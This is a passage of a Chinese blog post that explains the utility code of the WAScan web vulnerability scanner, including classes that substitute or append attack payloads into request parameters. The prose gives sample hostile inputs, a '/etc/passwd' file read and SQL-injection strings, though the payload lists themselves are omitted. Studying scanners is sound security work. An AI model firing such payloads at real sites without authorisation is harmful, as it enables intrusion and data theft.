class="keyword">if</span> split.scheme <span class="keyword">not</span> <span class="keyword">in</span> [<span class="string">'http'</span>,<span class="string">'https'</span>]:</div><div class="line">			<span class="comment"># return http://www.site.com</span></div><div class="line">			<span class="keyword">return</span> <span class="string">"http://%s"</span>%(url)</div><div class="line">		<span class="keyword">else</span>:</div><div class="line">			<span class="keyword">return</span> url</div><div class="line"><span class="comment"># url重组</span></div><div class="line"><span class="function"><span class="keyword">def</span> <span class="title">CNQuery</span><span class="params">(url)</span>:</span></div><div class="line">	<span class="keyword">if</span> <span class="string">'?'</span> <span class="keyword">in</span> url:</div><div class="line">		parse = urlsplit(url)</div><div class="line">		<span class="keyword">if</span> parse.scheme:<span class="keyword">return</span> parse.scheme + <span class="string">'://'</span> + parse.netloc + <span class="string">'/'</span> </div><div class="line">		<span class="keyword">else</span>: <span class="keyword">return</span> <span class="string">'http://'</span> + parse.path+<span class="string">'/'</span></div><div class="line">	<span class="keyword">else</span>:</div><div class="line">		parse = urlsplit(url)</div><div class="line">		<span class="keyword">if</span> parse.scheme:<span class="keyword">return</span> parse.scheme + <span class="string">'://'</span> + parse.netloc + <span class="string">'/'</span></div><div class="line">		<span class="keyword">else</span>:<span class="keyword">return</span> <span class="string">'http://'</span> + parse.path + <span class="string">'/'</span></div><div class="line"></div><div class="line"><span class="comment"># 检查url的尾部 是否 / 结尾，去除</span></div><div class="line"><span class="function"><span class="keyword">def</span> <span class="title">CEndUrl</span><span class="params">(url)</span>:</span></div><div class="line">	<span class="keyword">if</span> url.endswith(<span class="string">'/'</span>):</div><div class="line">		<span class="keyword">return</span> url[:<span class="number">-1</span>]</div><div class="line">	<span class="keyword">return</span> url</div><div class="line"></div><div class="line"><span class="comment"># 接受 scan参数即 扫描类型</span></div><div class="line"><span class="comment"># 然后进行检查是否在 0 - 5 的范围内</span></div><div class="line"><span class="function"><span class="keyword">def</span> <span class="title">CScan</span><span class="params">(scan)</span>:</span></div><div class="line">	<span class="comment"># check scan options</span></div><div class="line">	<span class="keyword">if</span> scan <span class="keyword">not</span> <span class="keyword">in</span> [<span class="string">'0'</span>,<span class="string">'1'</span>,<span class="string">'2'</span>,<span class="string">'3'</span>,<span class="string">'4'</span>,<span class="string">'5'</span>]:</div><div class="line">		info(<span class="string">'Option --scan haven\'t argument, assuming default value 5'</span>)</div><div class="line">		scan = int(<span class="string">'5'</span>) </div><div class="line">	<span class="keyword">if</span> isinstance(scan,str):</div><div class="line">		<span class="keyword">return</span> int(scan)</div><div class="line">	<span class="keyword">return</span> int(scan)</div><div class="line"></div><div class="line"><span class="comment"># 对 URL进行各项切分</span></div><div class="line"><span class="class"><span class="keyword">class</span> <span class="title">SplitURL</span>:</span></div><div class="line">	<span class="function"><span class="keyword">def</span> <span class="title">__init__</span><span class="params">(self,url)</span>:</span></div><div class="line">		<span class="comment"># http,https</span></div><div class="line">		<span class="comment"># 协议</span></div><div class="line">		self.scheme = urlsplit(url).scheme </div><div class="line">		<span class="comment"># 域名</span></div><div class="line">		<span class="comment"># www.site.com</span></div><div class="line">		self.netloc = CUrl(urlsplit(url).netloc)</div><div class="line">		<span class="comment"># 路径</span></div><div class="line">		<span class="comment"># /test/index.php</span></div><div class="line">		self.path = urlsplit(url).path</div><div class="line">		<span class="comment"># 查询参数</span></div><div class="line">		<span class="comment"># id=1&amp;f=1</span></div><div class="line">		self.query = urlsplit(url).query</div><div class="line">		<span class="comment"># fragment</span></div><div class="line">		<span class="comment"># #test</span></div><div class="line">		self.fragment = urlsplit(url).fragment</div><div class="line"></div><div class="line"><span class="comment"># 解析 host头部</span></div><div class="line"><span class="function"><span class="keyword">def</span> <span class="title">CHeaders</span><span class="params">(headers)</span>:</span></div><div class="line">	<span class="comment"># e.g: "Host:google.com" return &#123;'Host':'google.com'&#125;</span></div><div class="line">	_ = &#123;&#125;</div><div class="line">	<span class="keyword">if</span> <span class="string">':'</span> <span class="keyword">in</span> headers:</div><div class="line">		<span class="keyword">if</span> <span class="string">','</span> <span class="keyword">in</span> headers:</div><div class="line">			headerList = headers.split(<span class="string">','</span>)</div><div class="line">			<span class="keyword">for</span> header <span class="keyword">in</span> headerList:</div><div class="line">				_[header.split(<span class="string">':'</span>)[<span class="number">0</span>]] = header.split(<span class="string">':'</span>)[<span class="number">1</span>]</div><div class="line">		<span class="keyword">else</span>:</div><div class="line">			_[headers.split(<span class="string">':'</span>)[<span class="number">0</span>]] = headers.split(<span class="string">':'</span>)[<span class="number">1</span>]</div><div class="line">	<span class="keyword">return</span> _</div><div class="line"></div><div class="line"><span class="comment"># 用于 认证</span></div><div class="line"><span class="function"><span class="keyword">def</span> <span class="title">CAuth</span><span class="params">(auth)</span>:</span></div><div class="line">	<span class="keyword">if</span> <span class="string">':'</span> <span class="keyword">not</span> <span class="keyword">in</span> auth:</div><div class="line">		<span class="keyword">return</span> <span class="string">"%s:"</span>%(auth)</div><div class="line">	<span class="keyword">return</span> auth</div></pre></td></tr></table></figure></p>
<h2 id="颜色常量定义：-lib-utils-colors-py"><a href="#颜色常量定义：-lib-utils-colors-py" class="headerlink" title="颜色常量定义： lib/utils/colors.py"></a>颜色常量定义： lib/utils/colors.py</h2><p>定义一些颜色常量，略过。</p>
<h2 id="列举py文件：-lib-utils-dirs-py"><a href="#列举py文件：-lib-utils-dirs-py" class="headerlink" title="列举py文件： lib/utils/dirs.py"></a>列举py文件： lib/utils/dirs.py</h2><p>定义了<code>dirs</code>函数，用于列举出指定目录下，指定后缀名为<code>py</code>，且不是<code>__init__.py</code>的 py文件。<br><figure class="highlight python"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div></pre></td><td class="code"><pre><div class="line"><span class="function"><span class="keyword">def</span> <span class="title">dirs</span><span class="params">(path)</span>:</span></div><div class="line">	files = []</div><div class="line">	_ = os.listdir(path)</div><div class="line">	<span class="keyword">for</span> file <span class="keyword">in</span> _:</div><div class="line">		<span class="keyword">if</span> <span class="keyword">not</span> file.endswith(<span class="string">'.py'</span>) <span class="keyword">or</span> file == <span class="string">'__init__.py'</span>:<span class="keyword">pass</span></div><div class="line">		<span class="keyword">else</span>:files.append(file)</div><div class="line">	<span class="keyword">return</span> files</div></pre></td></tr></table></figure></p>
<p>测试用例如下：<br><figure class="highlight python"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div></pre></td><td class="code"><pre><div class="line">In [<span class="number">39</span>]: <span class="keyword">from</span> lib.utils.dirs <span class="keyword">import</span> dirs</div><div class="line"></div><div class="line">In [<span class="number">40</span>]: dirs(<span class="string">"./"</span>)</div><div class="line">Out[<span class="number">40</span>]: [<span class="string">'wascan.py'</span>]</div><div class="line"></div><div class="line">In [<span class="number">41</span>]: dirs(<span class="string">"./lib/utils/"</span>)</div><div class="line">Out[<span class="number">41</span>]: </div><div class="line">[<span class="string">'params.py'</span>,</div><div class="line"> <span class="string">'usage.py'</span>,</div><div class="line"> <span class="string">'colors.py'</span>,</div><div class="line"> <span class="string">'readfile.py'</span>,</div><div class="line"> <span class="string">'exception.py'</span>,</div><div class="line"> <span class="string">'check.py'</span>,</div><div class="line"> <span class="string">'printer.py'</span>,</div><div class="line"> <span class="string">'unicode.py'</span>,</div><div class="line"> <span class="string">'settings.py'</span>,</div><div class="line"> <span class="string">'rand.py'</span>,</div><div class="line"> <span class="string">'dirs.py'</span>,</div><div class="line"> <span class="string">'payload.py'</span>]</div></pre></td></tr></table></figure></p>
<h2 id="异常定义：lib-utils-exception-py"><a href="#异常定义：lib-utils-exception-py" class="headerlink" title="异常定义：lib/utils/exception.py"></a>异常定义：lib/utils/exception.py</h2><p>定义了几种可能出现的错误：<br><figure class="highlight python"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div></pre></td><td class="code"><pre><div class="line"><span class="class"><span class="keyword">class</span> <span class="title">WascanUnboundLocalError</span><span class="params">(UnboundLocalError)</span>:</span></div><div class="line">	<span class="keyword">pass</span></div><div class="line"></div><div class="line"><span class="class"><span class="keyword">class</span> <span class="title">WascanDataException</span><span class="params">(Exception)</span>:</span></div><div class="line">	<span class="keyword">pass</span></div><div class="line"></div><div class="line"><span class="class"><span class="keyword">class</span> <span class="title">WascanNoneException</span><span class="params">(Exception)</span>:</span></div><div class="line">	<span class="keyword">pass</span></div><div class="line"></div><div class="line"><span class="class"><span class="keyword">class</span> <span class="title">WascanInputException</span><span class="params">(Exception)</span>:</span></div><div class="line">	<span class="keyword">pass</span></div><div class="line"></div><div class="line"><span class="class"><span class="keyword">class</span> <span class="title">WascanGenericException</span><span class="params">(Exception)</span>:</span></div><div class="line">	<span class="keyword">pass</span></div><div class="line"></div><div class="line"><span class="class"><span class="keyword">class</span> <span class="title">WascanConnectionException</span><span class="params">(HTTPError)</span>:</span></div><div class="line">	<span class="keyword">pass</span></div><div class="line"></div><div class="line"><span class="class"><span class="keyword">class</span> <span class="title">WascanKeyboardInterrupt</span><span class="params">(KeyboardInterrupt)</span>:</span></div><div class="line">	<span class="keyword">pass</span></div></pre></td></tr></table></figure></p>
<h2 id="参数payload处理：lib-utils-params-py"><a href="#参数payload处理：lib-utils-params-py" class="headerlink" title="参数payload处理：lib/utils/params.py"></a>参数payload处理：lib/utils/params.py</h2><p>定义了两个类，用于处理<code>请求参数</code>和<code>payload</code>的关系,替换和拼接。替换的场景，比如任意文件读取，<code>?readfile=xx</code> 可能替换成<code>?readfile=/etc/passwd</code> 。拼接的场景，比如SQL注入，<code>?id=1</code> ,可能拼接为 <code>?id=1&#39;</code> 或者 <code>?id=1&quot; or 1=1</code></p>
<p>第一个类<code>preplace</code>替换，用于把<code>请求参数</code>的值替换为对应的<code>payload</code>。存疑一:get请求中用<code>sub(porignal,ppayload,self.url)</code>来处理，而post请求中用<code>self.data.replace(porignal,ppayload</code>请求。</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div><div class="line">22</div><div class="line">23</div><div class="line">24</div><div class="line">25</div><div class="line">26</div><div class="line">27</div><div class="line">28</div><div class="line">29</div><div class="line">30</div><div class="line">31</div><div class="line">32</div><div class="line">33</div><div class="line">34</div><div class="line">35</div><div class="line">36</div><div class="line">37</div><div class="line">38</div><div class="line">39</div><div class="line">40</div><div class="line">41</div><div class="line">42</div><div class="line">43</div><div class="line">44</div><div class="line">45</div><div class="line">46</div><div class="line">47</div><div class="line">48</div><div class="line">49</div><div class="line">50</div><div class="line">51</div><div class="line">52</div><div class="line">53</div><div class="line">54</div><div class="line">55</div></pre></td><td class="code"><pre><div class="line"><span class="class"><span class="keyword">class</span> <span class="title">preplace</span>:</span></div><div class="line">	<span class="string">""" replace params with payload"""</span></div><div class="line">	<span class="comment"># 初始化</span></div><div class="line">	<span class="function"><span class="keyword">def</span> <span class="title">__init__</span><span class="params">(self,url,payload,data)</span>:</span></div><div class="line">		<span class="comment"># url</span></div><div class="line">		self.url = url </div><div class="line">		<span class="comment"># data 指 POST请求的 POST部分</span></div><div class="line">		<span class="comment"># 对于 GET 请求，data 为 None</span></div><div class="line">		self.data = data</div><div class="line">		<span class="comment"># _params </span></div><div class="line">		self._params = []</div><div class="line">		<span class="comment"># 对应的 payload</span></div><div class="line">		self.payload = payload</div><div class="line"></div><div class="line">	<span class="comment"># 处理GET请求</span></div><div class="line">	<span class="comment"># http://test.com?a=1&amp;b=2</span></div><div class="line">	<span class="function"><span class="keyword">def</span> <span class="title">get</span><span class="params">(self)</span>:</span></div><div class="line">		<span class="string">"""get"""</span></div><div class="line">		params = self.url.split(<span class="string">"?"</span>)[<span class="number">1</span>].split(<span class="string">"&amp;"</span>)</div><div class="line">		<span class="comment"># params = ['a=1', 'b=2']</span></div><div class="line">		<span class="comment"># 对 params 中的每一个参数</span></div><div class="line">		<span class="keyword">for</span> param <span class="keyword">in</span> params:</div><div class="line">			<span class="comment"># 按照 = 切割，替换成payload  即  a=payload</span></div><div class="line">			ppayload = param.replace(param.split(<span class="string">"="</span>)[<span class="number">1</span>],self.payload)</div><div class="line">			<span class="comment"># 获取原本的参数对</span></div><div class="line">			porignal = param.replace(ppayload.split(<span class="string">"="</span>)[<span class="number">1</span>],param.split(<span class="string">"="</span>)[<span class="number">1</span>])</div><div class="line"></div><div class="line">			<span class="comment"># http://test.com?a=payload&amp;b=2</span></div><div class="line">			self._params.append(sub(porignal,ppayload,self.url))</div><div class="line"></div><div class="line">	<span class="comment"># 处理POST请求</span></div><div class="line">	<span class="function"><span class="keyword">def</span> <span class="title">post</span><span class="params">(self)</span>:</span></div><div class="line">		<span class="string">"""post"""</span></div><div class="line">		params = self.data.split(<span class="string">"&amp;"</span>)</div><div class="line">		<span class="keyword">for</span> param <span class="keyword">in</span> params:</div><div class="line">			ppayload = param.replace(param.split(<span class="string">"="</span>)[<span class="number">1</span>],self.payload)</div><div class="line">			porignal = param.replace(ppayload.split(<span class="string">"="</span>)[<span class="number">1</span>],param.split(<span class="string">"="</span>)[<span class="number">1</span>])</div><div class="line">			self._params.append(self.data.replace(porignal,ppayload))</div><div class="line">	</div><div class="line">	<span class="comment"># 开始处理</span></div><div class="line">	<span class="function"><span class="keyword">def</span> <span class="title">run</span><span class="params">(self)</span>:</span></div><div class="line">		<span class="comment"># 如果 url中 带有 ? , 并且 data部分 为 None</span></div><div class="line">		<span class="keyword">if</span> <span class="string">"?"</span> <span class="keyword">in</span> self.url <span class="keyword">and</span> self.data == <span class="keyword">None</span>:</div><div class="line">			<span class="comment"># GET请求 处理</span></div><div class="line">			self.get()</div><div class="line">		<span class="comment"># 如果 url中 没有 ? , 并且 data部分 不为 None</span></div><div class="line">		<span class="keyword">elif</span> <span class="string">"?"</span> <span class="keyword">not</span> <span class="keyword">in</span> self.url <span class="keyword">and</span> self.data != <span class="keyword">None</span>:</div><div class="line">			<span class="comment"># POST请求 处理</span></div><div class="line">			self.post()</div><div class="line">		<span class="comment"># 其他情况 无法明确判断</span></div><div class="line">		<span class="keyword">else</span>:</div><div class="line">			<span class="comment"># 都进行一遍处理</span></div><div class="line">			self.get()</div><div class="line">			self.post()</div><div class="line">		<span class="keyword">return</span> self._params</div></pre></td></tr></table></figure>
<p>第二个类<code>padd</code>，用于往请求参数中添加payload。<br><figure class="highlight python"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div><div class="line">22</div><div class="line">23</div><div class="line">24</div><div class="line">25</div><div class="line">26</div><div class="line">27</div><div class="line">28</div><div class="line">29</div><div class="line">30</div><div class="line">31</div><div class="line">32</div><div class="line">33</div><div class="line">34</div><div class="line">35</div><div class="line">36</div><div class="line">37</div></pre></td><td class="code"><pre><div class="line"><span class="class"><span class="keyword">class</span> <span class="title">padd</span>:</span></div><div class="line">	<span class="string">""" add the payload to params """</span></div><div class="line">	<span class="comment"># 基本的初始化</span></div><div class="line">	<span class="function"><span class="keyword">def</span> <span class="title">__init__</span><span class="params">(self,url,payload,data)</span>:</span></div><div class="line">		self.url = url </div><div class="line">		self.data = data</div><div class="line">		self._params = []</div><div class="line">		self.payload = payload</div><div class="line"></div><div class="line">	<span class="comment"># 处理GET请求</span></div><div class="line">	<span class="comment"># http://test.com?a=1&amp;b=2</span></div><div class="line">	<span class="function"><span class="keyword">def</span> <span class="title">get</span><span class="params">(self)</span>:</span></div><div class="line">		<span class="string">"""get"""</span></div><div class="line">		params = self.url.split(<span class="string">"?"</span>)[<span class="number">1</span>].split(<span class="string">"&amp;"</span>)</div><div class="line">		<span class="keyword">for</span> param <span class="keyword">in</span> params:</div><div class="line">			<span class="comment"># a=1payload</span></div><div class="line">			ppayload = param.replace(param.split(<span class="string">"="</span>)[<span class="number">1</span>],param.split(<span class="string">'='</span>)[<span class="number">1</span>]+self.payload)</div><div class="line">			porignal = param.replace(ppayload.split(<span class="string">"="</span>)[<span class="number">1</span>],param.split(<span class="string">"="</span>)[<span class="number">1</span>])</div><div class="line">			self._params.append(sub(porignal,ppayload,self.url))</div><div class="line"></div><div class="line">	<span class="function"><span class="keyword">def</span> <span class="title">post</span><span class="params">(self)</span>:</span></div><div class="line">		<span class="string">"""post"""</span></div><div class="line">		params = self.data.split(<span class="string">"&amp;"</span>)</div><div class="line">		<span class="keyword">for</span> param <span class="keyword">in</span> params:</div><div class="line">			ppayload = param.replace(param.split(<span class="string">"="</span>)[<span class="number">1</span>],param.split(<span class="string">'='</span>)[<span class="number">1</span>]+self.payload)</div><div class="line">			porignal = param.replace(ppayload.split(<span class="string">"="</span>)[<span class="number">1</span>],param.split(<span class="string">"="</span>)[<span class="number">1</span>])</div><div class="line">			self._params.append(self.data.replace(porignal,ppayload))</div><div class="line">	<span class="comment"># 进行处理</span></div><div class="line">	<span class="function"><span class="keyword">def</span> <span class="title">run</span><span class="params">(self)</span>:</span></div><div class="line">		<span class="keyword">if</span> <span class="string">"?"</span> <span class="keyword">in</span> self.url <span class="keyword">and</span> self.data == <span class="keyword">None</span>:</div><div class="line">			self.get()</div><div class="line">		<span class="keyword">elif</span> <span class="string">"?"</span> <span class="keyword">not</span> <span class="keyword">in</span> self.url <span class="keyword">and</span> self.data != <span class="keyword">None</span>:</div><div class="line">			self.post()</div><div class="line">		<span class="keyword">else</span>:</div><div class="line">			self.get()</div><div class="line">			self.post()</div><div class="line">		<span class="keyword">return</span> self._params</div></pre></td></tr></table></figure></p>
<h2 id="基本攻击payload-lib-utils-payload-py"><a href="#基本攻击payload-lib-utils-payload-py" class="headerlink" title="基本攻击payload: lib/utils/payload.py"></a>基本攻击payload: lib/utils/payload.py</h2><p>整合了基本攻击的各种payload。对于每种攻击，返回list。结合前面<code>整体功能 -&gt; 攻击</code>章节：</p>
<div class="table-container">
<table>
<thead>
<tr>
<th style="text-align:center">类型</th>
<th style="text-align:center">对应函数payload</th>
</tr>
</thead>
<tbody>
<tr>
<td style="text-align:center">Bash 命令注入</td>
<td style="text-align:center">bash()</td>
</tr>
<tr>
<td style="text-align:center">SQL盲注</td>
<td style="text-align:center">bsql()</td>
</tr>
<tr>
<td style="text-align:center">溢出</td>
<td style="text-align:center">None</td>
</tr>
<tr>
<td style="text-align:center">CRLF</td>
<td style="text-align:center">crlfp()</td>
</tr>
<tr>
<td style="text-align:center">头部SQL注入</td>
<td style="text-align:center">None</td>
</tr>
<tr>
<td style="text-align:center">头部XSS</td>
<td style="text-align:center">None</td>
</tr>
<tr>
<td style="text-align:center">HTML注入</td>
<td style="text-align:center">html()</td>
</tr>
<tr>
<td style="text-align:center">LDAP注入</td>
<td style="text-align:center">ldap()</td>
</tr>
<tr>
<td style="text-align:center">本地文件包含</td>
<td style="text-align:center">plfi()</td>
</tr>
<tr>
<td style="text-align:center">执行操作系统命令</td>
<td style="text-align:center">os()</td>
</tr>
<tr>
<td style="text-align:center">php 代码注入</td>
<td style="text-align:center">php()</td>
</tr>
<tr>
<td style="text-align:center">SQL注入</td>
<td style="text-align:center">sql()</td>
</tr>
<tr>
<td style="text-align:center">服务器端注入</td>
<td style="text-align:center">ssip() , pssi()</td>
</tr>
<tr>
<td style="text-align:center">Xpath注入</td>
<td style="text-align:center">xpath()</td>
</tr>
<tr>
<td style="text-align:center">XSS</td>
<td style="text-align:center">pxss()</td>
</tr>
<tr>
<td style="text-align:center">XML注入</td>
<td style="text-align:center">xxep()</td>
</tr>
</tbody>
</table>
</div>
<p><code>头部SQL注入</code>、<code>溢出</code>、<code>头部XSS</code>在该文件中对应的payload似乎没有出现。payload的具体内容就这里不展开，具体等后文与调用代码结合解释。</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div><div class="line">22</div><div class="line">23</div><div class="line">24</div><div class="line">25</div><div class="line">26</div><div class="line">27</div><div class="line">28</div><div class="line">29</div><div class="line">30</div><div class="line">31</div><div class="line">32</div><div class="line">33</div><div class="line">34</div><div class="line">35</div><div class="line">36</div><div class="line">37</div><div class="line">38</div><div class="line">39</div><div class="line">40</div><div class="line">41</div><div class="line">42</div><div class="line">43</div><div class="line">44</div><div class="line">45</div><div class="line">46</div><div class="line">47</div><div class="line">48</div><div class="line">49</div><div class="line">50</div><div class="line">51</div><div class="line">52</div><div class="line">53</div><div class="line">54</div><div class="line">55</div><div class="line">56</div><div class="line">57</div><div class="line">58</div><div class="line">59</div><div class="line">60</div><div class="line">61</div><div class="line">62</div><div class="line">63</div><div class="line">64</div><div class="line">65</div><div class="line">66</div><div class="line">67</div><div class="line">68</div><div class="line">69</div><div class="line">70</div></pre></td><td class="code"><pre><div class="line"><span class="comment"># Server Side Injection </span></div><div class="line"><span class="comment"># 有待研究</span></div><div class="line"><span class="function"><span class="keyword">def</span> <span class="title">ssip</span><span class="params">()</span>:</span></div><div class="line">	<span class="string">""" Server Side Injection """</span></div><div class="line">	省略</div><div class="line"></div><div class="line"><span class="comment"># CRLF  </span></div><div class="line"><span class="comment"># CRLF字符对应 %0d %0a</span></div><div class="line"><span class="function"><span class="keyword">def</span> <span class="title">crlfp</span><span class="params">()</span>:</span></div><div class="line">	<span class="string">"""Carriage Return Line Feed"""</span></div><div class="line">	省略</div><div class="line"></div><div class="line"><span class="comment"># XXE</span></div><div class="line"><span class="function"><span class="keyword">def</span> <span class="title">xxep</span><span class="params">()</span>:</span></div><div class="line">	<span class="string">""" XML External Entity"""</span></div><div class="line">	省略</div><div class="line"></div><div class="line"><span class="comment"># SSI</span></div><div class="line"><span class="function"><span class="keyword">def</span> <span class="title">pssi</span><span class="params">()</span>:</span></div><div class="line">	<span class="string">""" Server Side Include"""</span></div><div class="line">	省略</div><div class="line"></div><div class="line"><span class="comment"># XSS</span></div><div class="line"><span class="function"><span class="keyword">def</span> <span class="title">pxss</span><span class="params">()</span>:</span></div><div class="line">	<span class="string">""" Cross-Site Scripting"""</span></div><div class="line">	省略</div><div class="line"><span class="comment"># php代码注入</span></div><div class="line"><span class="function"><span class="keyword">def</span> <span class="title">php</span><span class="params">()</span>:</span></div><div class="line">	<span class="string">""" PHP Code Injection """</span></div><div class="line">	省略</div><div class="line"></div><div class="line"><span class="comment"># xpath注入</span></div><div class="line"><span class="function"><span class="keyword">def</span> <span class="title">xpath</span><span class="params">()</span>:</span></div><div class="line">	<span class="string">""" Xpath """</span></div><div class="line">	省略</div><div class="line"></div><div class="line"><span class="comment"># bash注入</span></div><div class="line"><span class="function"><span class="keyword">def</span> <span class="title">bash</span><span class="params">()</span>:</span></div><div class="line">	<span class="string">"""Basic Bash Command Injection """</span></div><div class="line">	省略</div><div class="line"></div><div class="line"><span class="comment"># sql注入</span></div><div class="line"><span class="function"><span class="keyword">def</span> <span class="title">sql</span><span class="params">()</span>:</span></div><div class="line">	<span class="string">"""Generic SQL"""</span></div><div class="line">	省略</div><div class="line"></div><div class="line"><span class="comment"># os命令注入</span></div><div class="line"><span class="function"><span class="keyword">def</span> <span class="title">os</span><span class="params">()</span>:</span></div><div class="line">	<span class="string">""" OS Command Injection """</span></div><div class="line">	省略</div><div class="line"></div><div class="line"><span class="comment"># 本地文件包含</span></div><div class="line"><span class="function"><span class="keyword">def</span> <span class="title">plfi</span><span class="params">()</span>:</span></div><div class="line">	<span class="string">""" Local file Inclusion """</span></div><div class="line">	省略</div><div class="line"></div><div class="line"><span class="comment"># 盲注</span></div><div class="line"><span class="function"><span class="keyword">def</span> <span class="title">bsql</span><span class="params">()</span>:</span></div><div class="line">	<span class="string">""" Blind SQL Injection """</span></div><div class="line">	省略</div><div class="line"></div><div class="line"><span class="comment"># html注入</span></div><div class="line"><span class="function"><span class="keyword">def</span> <span class="title">html</span><span class="params">()</span>:</span></div><div class="line">	<span class="string">""" HTML Code Injection """</span></div><div class="line">	省略</div><div class="line"></div><div class="line"><span class="comment"># ldap注入</span></div><div class="line"><span class="function"><span class="keyword">def</span> <span class="title">ldap</span><span class="params">()</span>:</span></div><div class="line">	<span class="string">""" LDAP Injection """</span></div><div class="line">	省略</div></pre></td></tr></table></figure>
<h2 id="格式化打印：-lib-utils-printer-py"><a href="#格式化打印：-lib-utils-printer-py" class="headerlink" title="格式化打印： lib/utils/printer.py"></a>格式化打印： lib/utils/printer.py</h2><p>定义了各种打印输出方法，基本的格式化字符串、颜色、编码等等。<br><figure class="highlight python"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div></pre></td><td class="code"><pre><div class="line"><span class="function"><span class="keyword">def</span> <span class="title">plus</span><span class="params">(string,flag=<span class="string">"[+]"</span>)</span>:</span></div><div class="line">	<span class="keyword">print</span> <span class="string">"&#123;&#125;&#123;&#125;&#123;&#125; &#123;&#125;&#123;&#125;&#123;&#125;"</span>.format(</div><div class="line">		GREEN%(<span class="number">0</span>),flag,RESET,</div><div class="line">		WHITE%(<span class="number">0</span>),ucode(string),RESET</div><div class="line">		)</div><div class="line"></div><div class="line"><span class="function"><span class="keyword">def</span> <span class="title">less</span><span class="params">(string,flag=<span class="string">"[-]"</span>)</span>:</span></div><div class="line"></div><div class="line"><span class="function"><span class="keyword">def</span> <span class="title">warn</span><span class="params">(string,flag=<span class="string">"[!]"</span>)</span>:</span></div><div class="line"></div><div class="line"><span class="function"><span class="keyword">def</span> <span class="title">test</span><span class="params">(string,flag=<span class="string">"[*]"</span>)</span>:</span></div><div class="line"></div><div class="line"><span class="function"><span class="keyword">def</span> <span class="title">info</span><span class="params">(string,flag=<span class="string">"[i]"</span>)</span>:</span></div><div class="line"></div><div class="line"><span class="function"><span class="keyword">def</span> <span class="title">more</span><span class="params">(string,flag=<span class="string">"|"</span>)</span>:</span></div><div class="line"></div><div class="line"><span class="function"><span class="keyword">def</span> <span class="title">null</span><span class="params">()</span>:</span></div><div class="line">	<span class="keyword">print</span> <span class="string">""</span></div></pre></td></tr></table></figure></p>
<h2 id="随机串生成：-lib-utils-rand-py"><a href="#随机串生成：-lib-utils-rand-py" class="headerlink" title="随机串生成： lib/utils/rand.py"></a>随机串生成： lib/utils/rand.py</h2><p>定义两个函数。第一个是<code>r_time</code>基于当前时间<code>strftime(&#39;%y%m%d&#39;)</code> 用来生成随机数字。<br><figure class="highlight python"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div></pre></td><td class="code"><pre><div class="line"><span class="function"><span class="keyword">def</span> <span class="title">r_time</span><span class="params">()</span>:</span></div><div class="line">	<span class="string">""" random numbers """</span></div><div class="line">	<span class="keyword">return</span> randint(<span class="number">0</span>,int(strftime(<span class="string">'%y%m%d'</span>)))</div></pre></td></tr></table></figure></p>
<p>第二个是<code>r_string</code>，用于生成指定长度为<code>n</code>的包含大写或者小写字母的随机字符串。<br><figure class="highlight python"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div></pre></td><td class="code"><pre><div class="line"><span class="function"><span class="keyword">def</span> <span class="title">r_string</span><span class="params">(n)</span>:</span></div><div class="line">	<span class="string">""" random strings """</span></div><div class="line">	<span class="keyword">return</span> <span class="string">""</span>.join([choice(uppercase+lowercase) <span class="keyword">for</span> _ <span class="keyword">in</span> xrange(<span class="number">0</span>,int(n))])</div></pre></td></tr></table></figure></p>
